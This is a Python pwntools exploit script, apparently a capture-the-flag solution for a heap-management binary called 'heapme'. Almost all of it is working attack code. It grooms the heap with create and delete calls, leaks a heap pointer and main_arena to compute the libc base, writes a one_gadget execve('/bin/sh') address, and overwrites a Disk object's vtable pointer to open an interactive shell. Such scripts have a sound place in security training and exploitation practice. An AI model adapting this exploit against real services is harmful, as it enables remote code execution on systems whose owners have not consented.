#!/usr/bin/env python3

import pwn
import clize

# gdb-peda$ telescope 0x55555556b690
# 0000| 0x55555556b690 --> 0x555555557da8 --> 0x5555555552fc (<_ZN4Disk4readEv>:	push   rbp)
# 0008| 0x55555556b698 --> 0x55555556b6b0 ("testtest")
# 0016| 0x55555556b6a0 --> 0x0 
# 0024| 0x55555556b6a8 --> 0x31 ('1')
# 0032| 0x55555556b6b0 ("testtest")

def exploit(*, remote=True, host="127.0.0.1", port=4242):
    if remote:
        p = pwn.remote(host, port)
    else:
        p = pwn.process("./heapme", env={"LD_PRELOAD":"/root/tools/glibc/x64/libc-2.23.so"})


    # 0xf1147 execve("/bin/sh", rsp+0x70, environ)
    # constraints:
    #   [rsp+0x70] == NULL
    one_gadget_rce = 0xf1147

    print("[+] Fill memory")
    for i in range(70, 80):
        create_disk(p, i, 32)
        print("B")
        write_disk(p, i, b"A" * 32)

    create_disk(p, 42, 16)

    print("[+] Fill freelist")
    for i in range(70, 80):
        delete_disk(p, i)

    print("#" * 100)
    for i in range(80, 100):
        create_disk(p, i, 16)

    print("Leak " + "#" * 100)
    print("=> 3 leak buffer of [5]")
    _, heap_leak = read_disk(p, 73)
    one_gadget_ptr_offset = heap_leak + 0x700

    print("Leak main_arena ".ljust(100, "#"))
    create_disk(p, 50, 0x400)
    create_disk(p, 51, 16)
    delete_disk(p, 50)

    create_disk(p, 50, 16)
    _, main_arena = read_disk(p, 50)
    print(f"main_arena = {main_arena:x}")
    libc_base = main_arena - 0x3c4b98
    print(f"libc_base = {libc_base:x}")
    one_gadget_rce += libc_base
    print(f"one_gadget_rce = {one_gadget_rce:x}")

    print("Upload one_gadget_rce ".ljust(100, "#"))
    create_disk(p, 50, 100)
    write_disk(p, 50, pwn.p64(one_gadget_rce)[:6])
    read_disk(p, 50)

    print("Overwrite ".ljust(100, "#"))
    print("=> 12 => overwrite [4] Disk")
    write_disk(p, 82, pwn.p64(one_gadget_ptr_offset))
    raw_input("GDB")

    p.sendline("1")
    p.sendline("74")

    p.interactive()

######################################################################
###                      Utils                                     ###
######################################################################

def create_disk(p, index, size):
    pwn.log.info("create_disk")
    p.sendlineafter('Command: ', '0')
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Index: ', str(index))

def read_disk(p, index):
    pwn.log.info("read_disk")
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Index: ', str(index))
    p.recvuntil("Data: ")
    data = p.recvuntil(b"\n#########################################################", drop=True)
    print(f"Read Data: {data}")
    ptr = data.split(b'\n')[0].ljust(8, b'\x00')
    ptr = pwn.u64(ptr)
    print(f"ptr = {ptr:x}")
    return data, ptr

def write_disk(p, index, data):
    pwn.log.info("write_disk")
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Data: ', data)

def delete_disk(p, index):
    pwn.log.info("delete_disk")
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(index))

def exit(p):
    p.sendlineafter('Command: ', '4')
    
if __name__ == "__main__":
    clize.run(exploit)
